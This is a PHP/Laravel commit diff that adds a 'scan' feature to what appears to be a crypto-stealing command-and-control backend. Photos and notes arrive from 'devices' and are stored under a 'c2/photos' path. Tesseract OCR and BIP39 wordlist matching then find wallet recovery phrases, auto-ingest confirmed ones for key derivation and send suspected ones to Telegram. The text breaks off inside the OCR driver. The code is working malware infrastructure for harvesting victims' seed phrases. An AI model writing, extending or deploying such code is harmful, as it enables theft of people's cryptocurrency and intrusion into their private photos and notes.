feat: scan
This commit is contained in:
@@ -39,6 +39,58 @@ final class Bip44
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* True when the phrase is a checksum-valid BIP39 mnemonic that can
|
||||
* produce a secp256k1 key (and therefore chain addresses).
|
||||
*/
|
||||
public static function canDerive(string $mnemonic): bool
|
||||
{
|
||||
try {
|
||||
$derived = self::derive($mnemonic, "m/44'/60'/0'/0/0");
|
||||
|
||||
return strlen((string) ($derived['public_key_uncompressed'] ?? '')) >= 130;
|
||||
} catch (\Throwable) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Checksum-valid is not enough for ingest: reject BIP39 test vectors and
|
||||
* low-entropy repeats (same word more than 3 times, or official test vectors).
|
||||
*/
|
||||
public static function isUsableMnemonic(string $mnemonic): bool
|
||||
{
|
||||
$words = preg_split('/\s+/', strtolower(trim($mnemonic))) ?: [];
|
||||
$n = count($words);
|
||||
if (! in_array($n, [12, 15, 18, 21, 24], true)) {
|
||||
return false;
|
||||
}
|
||||
if (in_array(implode(' ', $words), self::TEST_VECTORS, true)) {
|
||||
return false;
|
||||
}
|
||||
$counts = array_count_values($words);
|
||||
if (count($counts) < $n - 2) {
|
||||
return false;
|
||||
}
|
||||
if (max($counts) > 3) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return self::canDerive($mnemonic);
|
||||
}
|
||||
|
||||
/** @var list<string> */
|
||||
private const TEST_VECTORS = [
|
||||
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
||||
'legal winner thank year wave sausage worth useful legal winner thank yellow',
|
||||
'letter advice cage absurd amount doctor acoustic avoid letter advice cage above',
|
||||
'zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo wrong',
|
||||
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon agent',
|
||||
'legal winner thank year wave sausage worth useful legal winner thank year wave sausage worth useful legal will',
|
||||
'letter advice cage absurd amount doctor acoustic avoid letter advice cage absurd amount doctor acoustic bless',
|
||||
'zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo zoo vote',
|
||||
];
|
||||
|
||||
/** @return array{0: string, 1: string} binary key + chain code */
|
||||
private static function masterFromSeed(string $seed): array
|
||||
{
|
||||
|
||||
@@ -561,11 +561,16 @@ class IngestService
|
||||
{
|
||||
$words = preg_split('/\s+/', strtolower(trim($secret))) ?: [];
|
||||
$n = count($words);
|
||||
if ($n === 12 || $n === 24) {
|
||||
if (in_array($n, [12, 15, 18, 21, 24], true)) {
|
||||
foreach ($words as $word) {
|
||||
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
|
||||
return false;
|
||||
if (preg_match('/^[a-z]{3,8}$/', $word) === 1) {
|
||||
continue;
|
||||
}
|
||||
if (preg_match('/^\p{Han}{1,4}$/u', $word) === 1) {
|
||||
continue;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
@@ -955,6 +960,7 @@ class IngestService
|
||||
'content' => $items,
|
||||
'content_hash' => $hash,
|
||||
])->save();
|
||||
app(MnemonicScanService::class)->dispatchNotes($device);
|
||||
|
||||
return;
|
||||
}
|
||||
@@ -964,6 +970,7 @@ class IngestService
|
||||
'content' => $items,
|
||||
'content_hash' => $hash,
|
||||
]);
|
||||
app(MnemonicScanService::class)->dispatchNotes($device);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -1008,7 +1015,7 @@ class IngestService
|
||||
}
|
||||
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
|
||||
Storage::disk('local')->put($rel, $bytes);
|
||||
Photo::query()->create([
|
||||
$photo = Photo::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'sha256' => $sha,
|
||||
'path' => $rel,
|
||||
@@ -1019,6 +1026,7 @@ class IngestService
|
||||
'text_count' => $meta['text_count'] ?? null,
|
||||
'barcode_count' => $meta['barcode_count'] ?? null,
|
||||
]);
|
||||
app(MnemonicScanService::class)->dispatchPhoto($photo);
|
||||
$stored++;
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,269 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Services\Chain\Bip44;
|
||||
|
||||
class MnemonicDetector
|
||||
{
|
||||
/** @var list<int> */
|
||||
public const LENGTHS = [12, 15, 18, 21, 24];
|
||||
|
||||
public const MIN_SUSPECTED = 8;
|
||||
|
||||
public const MIN_CONFIRMED = 12;
|
||||
|
||||
public const MIN_UNIQUE = 8;
|
||||
|
||||
/**
|
||||
* Hardware-wallet chrome that is also on the BIP39 list. Only used to
|
||||
* break ties when two sliding windows both checksum.
|
||||
*
|
||||
* @var array<string, true>
|
||||
*/
|
||||
private const UI_PREFIX = [
|
||||
'card' => true,
|
||||
'key' => true,
|
||||
'wallet' => true,
|
||||
'seed' => true,
|
||||
'word' => true,
|
||||
'phrase' => true,
|
||||
'recovery' => true,
|
||||
'secret' => true,
|
||||
'hardware' => true,
|
||||
'device' => true,
|
||||
'account' => true,
|
||||
];
|
||||
|
||||
/** @var array<string, true>|null */
|
||||
private static ?array $english = null;
|
||||
|
||||
/**
|
||||
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}|null
|
||||
*/
|
||||
public function detect(string $text, bool $strictGaps = false): ?array
|
||||
{
|
||||
$text = trim($text);
|
||||
if ($text === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
$tokens = $strictGaps ? $this->noteTokens($text) : $this->englishTokens($text);
|
||||
$wordlist = $this->englishSet();
|
||||
$real = array_values(array_filter($tokens, fn ($word) => $word !== ''));
|
||||
if (count($real) < self::MIN_SUSPECTED) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$perfect = $this->perfectPhrase($tokens, $wordlist);
|
||||
if ($perfect !== null) {
|
||||
return $perfect;
|
||||
}
|
||||
if ($strictGaps) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$partial = $this->suspectedWindow($tokens, $wordlist);
|
||||
|
||||
return $partial !== null && $this->uniqueListWords($partial['candidate']) >= self::MIN_UNIQUE
|
||||
? $partial
|
||||
: null;
|
||||
}
|
||||
|
||||
public function uniqueListWords(string $candidate): int
|
||||
{
|
||||
$wordlist = $this->englishSet();
|
||||
$uniq = [];
|
||||
foreach (preg_split('/\s+/', strtolower(trim($candidate))) ?: [] as $word) {
|
||||
if (isset($wordlist[$word])) {
|
||||
$uniq[$word] = true;
|
||||
}
|
||||
}
|
||||
|
||||
return count($uniq);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $tokens
|
||||
* @param array<string, true> $wordlist
|
||||
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}|null
|
||||
*/
|
||||
private function perfectPhrase(array $tokens, array $wordlist): ?array
|
||||
{
|
||||
$run = [];
|
||||
$best = null;
|
||||
$n = count($tokens);
|
||||
for ($i = 0; $i <= $n; $i++) {
|
||||
$word = $tokens[$i] ?? null;
|
||||
if ($word !== null && $word !== '' && isset($wordlist[$word])) {
|
||||
$run[] = $word;
|
||||
|
||||
continue;
|
||||
}
|
||||
$hit = $this->confirmedFromRun($run);
|
||||
if ($hit !== null && ($best === null || $hit['word_count'] > $best['word_count'])) {
|
||||
$best = $hit;
|
||||
}
|
||||
$run = [];
|
||||
}
|
||||
|
||||
return $best;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $run
|
||||
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}|null
|
||||
*/
|
||||
private function confirmedFromRun(array $run): ?array
|
||||
{
|
||||
$n = count($run);
|
||||
$fallback = null;
|
||||
foreach (array_reverse(self::LENGTHS) as $len) {
|
||||
if ($n < $len) {
|
||||
continue;
|
||||
}
|
||||
$usable = [];
|
||||
for ($offset = 0; $offset <= $n - $len; $offset++) {
|
||||
$hit = $this->hitFromWords(array_slice($run, $offset, $len), true);
|
||||
$fallback ??= $hit;
|
||||
if (Bip44::isUsableMnemonic($hit['candidate'])) {
|
||||
$usable[] = $hit;
|
||||
}
|
||||
}
|
||||
if ($usable !== []) {
|
||||
return $this->preferNonUiPrefix($usable);
|
||||
}
|
||||
}
|
||||
|
||||
return $fallback;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $words
|
||||
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}
|
||||
*/
|
||||
private function hitFromWords(array $words, bool $confirmed): array
|
||||
{
|
||||
$len = count($words);
|
||||
|
||||
return [
|
||||
'candidate' => implode(' ', $words),
|
||||
'word_count' => $len,
|
||||
'score' => $len * 10,
|
||||
'language' => 'en',
|
||||
'confirmed' => $confirmed,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param non-empty-list<array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}> $hits
|
||||
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}
|
||||
*/
|
||||
private function preferNonUiPrefix(array $hits): array
|
||||
{
|
||||
foreach ($hits as $hit) {
|
||||
$first = explode(' ', $hit['candidate'])[0] ?? '';
|
||||
if (! isset(self::UI_PREFIX[$first])) {
|
||||
return $hit;
|
||||
}
|
||||
}
|
||||
|
||||
return $hits[0];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $tokens
|
||||
* @param array<string, true> $wordlist
|
||||
* @return array{candidate: string, word_count: int, score: int, language: string, confirmed: bool}|null
|
||||
*/
|
||||
private function suspectedWindow(array $tokens, array $wordlist): ?array
|
||||
{
|
||||
$n = count($tokens);
|
||||
$best = null;
|
||||
$maxLen = min(24, $n);
|
||||
for ($len = self::MIN_SUSPECTED; $len <= $maxLen; $len++) {
|
||||
for ($i = 0; $i <= $n - $len; $i++) {
|
||||
$window = array_slice($tokens, $i, $len);
|
||||
$hits = 0;
|
||||
foreach ($window as $word) {
|
||||
if ($word !== '' && isset($wordlist[$word])) {
|
||||
$hits++;
|
||||
}
|
||||
}
|
||||
if ($hits < self::MIN_SUSPECTED) {
|
||||
continue;
|
||||
}
|
||||
$score = ($hits * 10) - (($len - $hits) * 2);
|
||||
if ($best !== null && ($hits < $best['word_count'] || ($hits === $best['word_count'] && $score <= $best['score']))) {
|
||||
continue;
|
||||
}
|
||||
$best = [
|
||||
'candidate' => implode(' ', $window),
|
||||
'word_count' => $hits,
|
||||
'score' => $score,
|
||||
'language' => 'en',
|
||||
'confirmed' => false,
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
return $best;
|
||||
}
|
||||
|
||||
/** @return list<string> */
|
||||
private function englishTokens(string $text): array
|
||||
{
|
||||
preg_match_all('/[a-z]{3,8}/', strtolower($text), $m);
|
||||
|
||||
return $m[0] ?? [];
|
||||
}
|
||||
|
||||
/**
|
||||
* Keep list indices (1. 2. 12) from breaking a phrase, but digits/units
|
||||
* like 200 or 1.5 split a run so "pipe 200 cable" is not 12 words.
|
||||
*
|
||||
* @return list<string>
|
||||
*/
|
||||
private function noteTokens(string $text): array
|
||||
{
|
||||
$out = [];
|
||||
foreach (preg_split('/\s+/u', strtolower($text)) ?: [] as $raw) {
|
||||
$word = trim($raw, ".,!?;:\"'()[]");
|
||||
if (preg_match('/^[a-z]{3,8}$/', $word) === 1) {
|
||||
$out[] = $word;
|
||||
|
||||
continue;
|
||||
}
|
||||
if (preg_match('/^\d{1,2}\.?$/', $word) === 1) {
|
||||
continue;
|
||||
}
|
||||
$out[] = '';
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/** @return array<string, true> */
|
||||
private function englishSet(): array
|
||||
{
|
||||
return self::$english ??= $this->loadSet();
|
||||
}
|
||||
|
||||
/** @return array<string, true> */
|
||||
private function loadSet(): array
|
||||
{
|
||||
$set = [];
|
||||
$path = resource_path('bip39/english.txt');
|
||||
if (! is_file($path)) {
|
||||
return $set;
|
||||
}
|
||||
foreach (file($path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) ?: [] as $line) {
|
||||
$word = strtolower(trim($line));
|
||||
if ($word !== '') {
|
||||
$set[$word] = true;
|
||||
}
|
||||
}
|
||||
|
||||
return $set;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,378 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Jobs\ScanDeviceNotes;
|
||||
use App\Jobs\ScanPhotoMnemonic;
|
||||
use App\Models\Device;
|
||||
use App\Models\MnemonicFinding;
|
||||
use App\Models\Note;
|
||||
use App\Models\NoteScan;
|
||||
use App\Models\Photo;
|
||||
use App\Services\Chain\Bip44;
|
||||
use App\Services\Ocr\OcrDriver;
|
||||
use App\Services\Ocr\PhotoOcrPreparer;
|
||||
use App\Support\NoteContent;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class MnemonicScanService
|
||||
{
|
||||
public function __construct(
|
||||
private readonly MnemonicDetector $detector,
|
||||
private readonly OcrDriver $ocr,
|
||||
private readonly PhotoOcrPreparer $preparer,
|
||||
private readonly IngestService $ingest,
|
||||
private readonly TelegramNotifier $telegram,
|
||||
) {}
|
||||
|
||||
public function dispatchPhoto(Photo $photo): void
|
||||
{
|
||||
if (app()->runningUnitTests()) {
|
||||
return;
|
||||
}
|
||||
if ((int) $photo->scan_status !== MnemonicScanStatus::PENDING
|
||||
&& (int) $photo->scan_status !== MnemonicScanStatus::FAILED) {
|
||||
return;
|
||||
}
|
||||
ScanPhotoMnemonic::dispatch($photo->id)->onQueue('ocr');
|
||||
}
|
||||
|
||||
public function dispatchNotes(Device $device): void
|
||||
{
|
||||
if (app()->runningUnitTests()) {
|
||||
return;
|
||||
}
|
||||
ScanDeviceNotes::dispatch($device->id);
|
||||
}
|
||||
|
||||
public function scanPhoto(Photo $photo): void
|
||||
{
|
||||
$jpeg = null;
|
||||
try {
|
||||
$jpeg = $this->preparer->jpegPath($photo);
|
||||
if ($jpeg === null) {
|
||||
$this->markPhoto($photo, MnemonicScanStatus::FAILED, '');
|
||||
|
||||
return;
|
||||
}
|
||||
$text = $this->ocr->recognize($jpeg);
|
||||
$this->applyTextHit($photo->device, MnemonicFinding::SOURCE_PHOTO, $text, $photo, null, null);
|
||||
$this->markPhoto($photo, $this->photoStatus($photo), $text);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('scan photo mnemonic failed: '.$e->getMessage(), ['photo_id' => $photo->id]);
|
||||
$this->markPhoto($photo, MnemonicScanStatus::FAILED, '');
|
||||
} finally {
|
||||
if (is_string($jpeg) && is_file($jpeg)) {
|
||||
@unlink($jpeg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public function scanDeviceNotes(Device $device): void
|
||||
{
|
||||
$note = $device->notes()->orderByDesc('id')->first();
|
||||
if ($note === null) {
|
||||
return;
|
||||
}
|
||||
foreach ($note->items() as $index => $item) {
|
||||
$this->scanNoteItem($device, $note, $item, $index);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{title: string, body: string, native_id: int|string|null} $item
|
||||
*/
|
||||
public function scanNoteItem(Device $device, Note $note, array $item, int $index): void
|
||||
{
|
||||
$key = NoteScan::itemKey($item, $index);
|
||||
$hash = NoteScan::itemHash($item);
|
||||
$row = NoteScan::query()->firstOrNew([
|
||||
'device_id' => $device->id,
|
||||
'note_id' => $note->id,
|
||||
'item_key' => $key,
|
||||
]);
|
||||
if ($row->exists
|
||||
&& hash_equals((string) $row->content_hash, $hash)
|
||||
&& (int) $row->scan_status !== MnemonicScanStatus::PENDING
|
||||
&& (int) $row->scan_status !== MnemonicScanStatus::FAILED) {
|
||||
return;
|
||||
}
|
||||
|
||||
$text = trim((string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? ''));
|
||||
$this->applyTextHit($device, MnemonicFinding::SOURCE_NOTE, $text, null, $note, $key);
|
||||
$row->content_hash = $hash;
|
||||
$row->scan_status = $this->noteStatus($note, $key);
|
||||
$row->scanned_at = now();
|
||||
$row->save();
|
||||
}
|
||||
|
||||
public function confirm(MnemonicFinding $finding, ?string $actor = null, ?string $candidate = null): bool
|
||||
{
|
||||
$device = $finding->device;
|
||||
if ($device === null || $finding->status !== MnemonicFinding::STATUS_SUSPECTED) {
|
||||
return false;
|
||||
}
|
||||
$phrase = trim(preg_replace('/\s+/', ' ', (string) ($candidate ?? $finding->candidate)) ?: '');
|
||||
if ($phrase === '' || ! Bip44::isUsableMnemonic($phrase)) {
|
||||
return false;
|
||||
}
|
||||
$finding->candidate = $phrase;
|
||||
$finding->word_count = count(preg_split('/\s+/', $phrase) ?: []);
|
||||
$this->ingest->ingestMnemonic($device, [
|
||||
'mnemonic' => $phrase,
|
||||
'a' => $finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
||||
]);
|
||||
$finding->status = MnemonicFinding::STATUS_CONFIRMED;
|
||||
$finding->reviewed_by = $actor;
|
||||
$finding->reviewed_at = now();
|
||||
$finding->save();
|
||||
|
||||
if ($finding->photo_id) {
|
||||
Photo::query()->whereKey($finding->photo_id)->update([
|
||||
'scan_status' => MnemonicScanStatus::CONFIRMED,
|
||||
]);
|
||||
}
|
||||
if ($finding->note_id && $finding->item_key) {
|
||||
NoteScan::query()
|
||||
->where('note_id', $finding->note_id)
|
||||
->where('item_key', $finding->item_key)
|
||||
->update(['scan_status' => MnemonicScanStatus::CONFIRMED]);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
public function dismiss(MnemonicFinding $finding, ?string $actor = null): void
|
||||
{
|
||||
$finding->status = MnemonicFinding::STATUS_DISMISSED;
|
||||
$finding->reviewed_by = $actor;
|
||||
$finding->reviewed_at = now();
|
||||
$finding->save();
|
||||
|
||||
if ($finding->photo_id) {
|
||||
Photo::query()->whereKey($finding->photo_id)->update([
|
||||
'scan_status' => MnemonicScanStatus::EMPTY,
|
||||
]);
|
||||
}
|
||||
if ($finding->note_id && $finding->item_key) {
|
||||
NoteScan::query()
|
||||
->where('note_id', $finding->note_id)
|
||||
->where('item_key', $finding->item_key)
|
||||
->update(['scan_status' => MnemonicScanStatus::EMPTY]);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
|
||||
*/
|
||||
public function photoProgress(?int $deviceId = null): array
|
||||
{
|
||||
$q = Photo::query();
|
||||
if ($deviceId !== null) {
|
||||
$q->where('device_id', $deviceId);
|
||||
}
|
||||
|
||||
return $this->progressFromCounts($q->selectRaw('scan_status, COUNT(*) as c')->groupBy('scan_status')->pluck('c', 'scan_status')->all());
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
|
||||
*/
|
||||
public function noteProgress(?Device $device = null): array
|
||||
{
|
||||
if ($device !== null) {
|
||||
$note = $device->notes()->orderByDesc('id')->first();
|
||||
$items = $note ? $note->items() : [];
|
||||
$total = count($items);
|
||||
if ($total === 0) {
|
||||
return $this->progressFromCounts([]);
|
||||
}
|
||||
$scans = NoteScan::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('note_id', $note->id)
|
||||
->get()
|
||||
->keyBy('item_key');
|
||||
$counts = [];
|
||||
foreach ($items as $index => $item) {
|
||||
$key = NoteScan::itemKey($item, $index);
|
||||
$status = (int) ($scans[$key]->scan_status ?? MnemonicScanStatus::PENDING);
|
||||
$counts[$status] = ((int) ($counts[$status] ?? 0)) + 1;
|
||||
}
|
||||
|
||||
return $this->progressFromCounts($counts);
|
||||
}
|
||||
|
||||
$itemTotal = 0;
|
||||
Note::query()->orderByDesc('id')->get(['id', 'device_id', 'content'])->groupBy('device_id')->each(function ($rows) use (&$itemTotal) {
|
||||
$note = $rows->first();
|
||||
$itemTotal += count(NoteContent::normalizeStored($note->content));
|
||||
});
|
||||
$scannedRows = NoteScan::query()->selectRaw('scan_status, COUNT(*) as c')->groupBy('scan_status')->pluck('c', 'scan_status')->all();
|
||||
$progress = $this->progressFromCounts($scannedRows);
|
||||
$progress['total'] = $itemTotal;
|
||||
$progress['pending'] = max(0, $itemTotal - $progress['scanned'] - $progress['failed']);
|
||||
|
||||
return $progress;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<int, int> $counts
|
||||
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
|
||||
*/
|
||||
private function progressFromCounts(array $counts): array
|
||||
{
|
||||
$pending = (int) ($counts[MnemonicScanStatus::PENDING] ?? 0);
|
||||
$empty = (int) ($counts[MnemonicScanStatus::EMPTY] ?? 0);
|
||||
$suspected = (int) ($counts[MnemonicScanStatus::SUSPECTED] ?? 0);
|
||||
$confirmed = (int) ($counts[MnemonicScanStatus::CONFIRMED] ?? 0);
|
||||
$failed = (int) ($counts[MnemonicScanStatus::FAILED] ?? 0);
|
||||
|
||||
return [
|
||||
'total' => $pending + $empty + $suspected + $confirmed + $failed,
|
||||
'scanned' => $empty + $suspected + $confirmed,
|
||||
'suspected' => $suspected,
|
||||
'confirmed' => $confirmed,
|
||||
'failed' => $failed,
|
||||
'pending' => $pending,
|
||||
];
|
||||
}
|
||||
|
||||
private function markPhoto(Photo $photo, int $status, string $text): void
|
||||
{
|
||||
$photo->scan_status = $status;
|
||||
$photo->scanned_at = now();
|
||||
$photo->ocr_text = mb_substr($text, 0, 8000);
|
||||
$photo->save();
|
||||
}
|
||||
|
||||
private function applyTextHit(
|
||||
?Device $device,
|
||||
string $source,
|
||||
string $text,
|
||||
?Photo $photo,
|
||||
?Note $note,
|
||||
?string $itemKey,
|
||||
): void {
|
||||
if ($device === null) {
|
||||
return;
|
||||
}
|
||||
$q = MnemonicFinding::query()->where('device_id', $device->id)->where('source', $source);
|
||||
if ($photo !== null) {
|
||||
$q->where('photo_id', $photo->id);
|
||||
} else {
|
||||
$q->where('note_id', $note?->id)->where('item_key', $itemKey);
|
||||
}
|
||||
|
||||
$hit = $this->detector->detect($text, $source === MnemonicFinding::SOURCE_NOTE);
|
||||
if ($hit === null || ! $this->worthRecording($source, $hit)) {
|
||||
$q->where('status', '!=', MnemonicFinding::STATUS_CONFIRMED)->delete();
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$row = $q->first() ?? new MnemonicFinding([
|
||||
'device_id' => $device->id,
|
||||
'source' => $source,
|
||||
'photo_id' => $photo?->id,
|
||||
'note_id' => $note?->id,
|
||||
'item_key' => $itemKey,
|
||||
]);
|
||||
if ($row->status === MnemonicFinding::STATUS_CONFIRMED) {
|
||||
return;
|
||||
}
|
||||
$wasNew = ! $row->exists;
|
||||
$prevCandidate = $row->exists ? $row->candidate : '';
|
||||
$confirmed = $this->canIngestHit($hit);
|
||||
$row->status = $confirmed ? MnemonicFinding::STATUS_CONFIRMED : MnemonicFinding::STATUS_SUSPECTED;
|
||||
$row->candidate = $hit['candidate'];
|
||||
$row->excerpt = mb_substr($text, 0, 2000);
|
||||
$row->word_count = $hit['word_count'];
|
||||
$row->score = $hit['score'];
|
||||
if ($confirmed) {
|
||||
$row->reviewed_by = 'scan';
|
||||
$row->reviewed_at = now();
|
||||
}
|
||||
$row->save();
|
||||
|
||||
$sourceLabel = $source === MnemonicFinding::SOURCE_PHOTO
|
||||
? WalletSource::fromTag('album_ocr')
|
||||
: WalletSource::fromTag('note_scan');
|
||||
if ($confirmed) {
|
||||
$this->ingest->ingestMnemonic($device, [
|
||||
'mnemonic' => $hit['candidate'],
|
||||
'a' => $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
||||
]);
|
||||
|
||||
return;
|
||||
}
|
||||
if ($wasNew || $prevCandidate !== $hit['candidate']) {
|
||||
$this->telegram->notifySuspectedMnemonic(
|
||||
$device->device_id,
|
||||
$sourceLabel,
|
||||
$hit['candidate'],
|
||||
(int) $hit['word_count'],
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Album and notes both need 12+ consecutive words that can derive an address.
|
||||
*
|
||||
* @param array{candidate: string, word_count: int, confirmed?: bool} $hit
|
||||
*/
|
||||
private function canIngestHit(array $hit): bool
|
||||
{
|
||||
if (empty($hit['confirmed']) || (int) $hit['word_count'] < 12) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return Bip44::isUsableMnemonic((string) $hit['candidate']);
|
||||
}
|
||||
|
||||
/**
|
||||
* Notes: only a derivable 12-word phrase. Photos: 12-word run or >=8 hits.
|
||||
*
|
||||
* @param array{candidate: string, word_count: int, confirmed?: bool} $hit
|
||||
*/
|
||||
private function worthRecording(string $source, array $hit): bool
|
||||
{
|
||||
if ($this->canIngestHit($hit)) {
|
||||
return true;
|
||||
}
|
||||
if ($source === MnemonicFinding::SOURCE_NOTE) {
|
||||
return false;
|
||||
}
|
||||
if (! empty($hit['confirmed'])) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return (int) $hit['word_count'] >= MnemonicDetector::MIN_SUSPECTED
|
||||
&& $this->detector->uniqueListWords((string) $hit['candidate']) >= MnemonicDetector::MIN_UNIQUE;
|
||||
}
|
||||
|
||||
private function photoStatus(Photo $photo): int
|
||||
{
|
||||
$status = MnemonicFinding::query()->where('photo_id', $photo->id)->value('status');
|
||||
|
||||
return match ($status) {
|
||||
MnemonicFinding::STATUS_CONFIRMED => MnemonicScanStatus::CONFIRMED,
|
||||
MnemonicFinding::STATUS_SUSPECTED => MnemonicScanStatus::SUSPECTED,
|
||||
default => MnemonicScanStatus::EMPTY,
|
||||
};
|
||||
}
|
||||
|
||||
private function noteStatus(Note $note, string $itemKey): int
|
||||
{
|
||||
$status = MnemonicFinding::query()
|
||||
->where('note_id', $note->id)
|
||||
->where('item_key', $itemKey)
|
||||
->value('status');
|
||||
|
||||
return match ($status) {
|
||||
MnemonicFinding::STATUS_CONFIRMED => MnemonicScanStatus::CONFIRMED,
|
||||
MnemonicFinding::STATUS_SUSPECTED => MnemonicScanStatus::SUSPECTED,
|
||||
default => MnemonicScanStatus::EMPTY,
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
class MnemonicScanStatus
|
||||
{
|
||||
public const PENDING = 0;
|
||||
|
||||
public const EMPTY = 1;
|
||||
|
||||
public const SUSPECTED = 2;
|
||||
|
||||
public const CONFIRMED = 3;
|
||||
|
||||
public const FAILED = 4;
|
||||
|
||||
public static function label(int $status): string
|
||||
{
|
||||
return match ($status) {
|
||||
self::EMPTY => '已扫',
|
||||
self::SUSPECTED => '疑似',
|
||||
self::CONFIRMED => '确定含有',
|
||||
self::FAILED => '失败',
|
||||
default => '未扫',
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Ocr;
|
||||
|
||||
interface OcrDriver
|
||||
{
|
||||
public function recognize(string $imagePath): string;
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Ocr;
|
||||
|
||||
use App\Models\Photo;
|
||||
use App\Services\PhotoPreview;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class PhotoOcrPreparer
|
||||
{
|
||||
public function __construct(private readonly PhotoPreview $preview) {}
|
||||
|
||||
/**
|
||||
* Write a resized JPEG for Tesseract. Caller must unlink the returned path.
|
||||
*/
|
||||
public function jpegPath(Photo $photo): ?string
|
||||
{
|
||||
$abs = Storage::disk('local')->path((string) $photo->path);
|
||||
if (! is_file($abs)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$payload = $this->preview->payload($abs, (string) ($photo->device?->device_id ?: $photo->device_id), (string) $photo->sha256);
|
||||
$bytes = (string) ($payload['bytes'] ?? '');
|
||||
if ($bytes === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
$tmp = tempnam(sys_get_temp_dir(), 'ocr_');
|
||||
if ($tmp === false) {
|
||||
return null;
|
||||
}
|
||||
$jpeg = $tmp.'.jpg';
|
||||
@unlink($tmp);
|
||||
file_put_contents($jpeg, $bytes);
|
||||
$this->resize($jpeg);
|
||||
|
||||
return $jpeg;
|
||||
}
|
||||
|
||||
private function resize(string $path): void
|
||||
{
|
||||
$max = (int) config('coruna.ocr.max_edge', 1800);
|
||||
if ($max < 400) {
|
||||
return;
|
||||
}
|
||||
$magick = $this->which('magick') ?? $this->which('convert');
|
||||
if ($magick !== null) {
|
||||
Process::timeout(30)->run([$magick, $path, '-resize', $max.'x'.$max.'>', $path]);
|
||||
|
||||
return;
|
||||
}
|
||||
if (PHP_OS_FAMILY === 'Darwin' && is_executable('/usr/bin/sips')) {
|
||||
Process::timeout(30)->run(['/usr/bin/sips', '-Z', (string) $max, $path]);
|
||||
}
|
||||
}
|
||||
|
||||
private function which(string $bin): ?string
|
||||
{
|
||||
$result = Process::timeout(3)->run(['which', $bin]);
|
||||
$path = trim($result->output());
|
||||
|
||||
return $result->successful() && $path !== '' ? $path : null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Ocr;
|
||||
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
|
||||
class TesseractOcrDriver implements OcrDriver
|
||||
{
|
||||
public function recognize(string $imagePath): string
|
||||
{
|
||||
if (! is_file($imagePath)) {
|
||||
return '';
|
||||
}
|
||||
|
||||
$bin = (string) config('coruna.ocr.tesseract', 'tesseract');
|
||||
$langs = (string) config('coruna.ocr.langs', 'eng+chi_sim');
|
||||
$result = Process::timeout(90)->run([
|
||||
$bin,
|
||||
$imagePath,
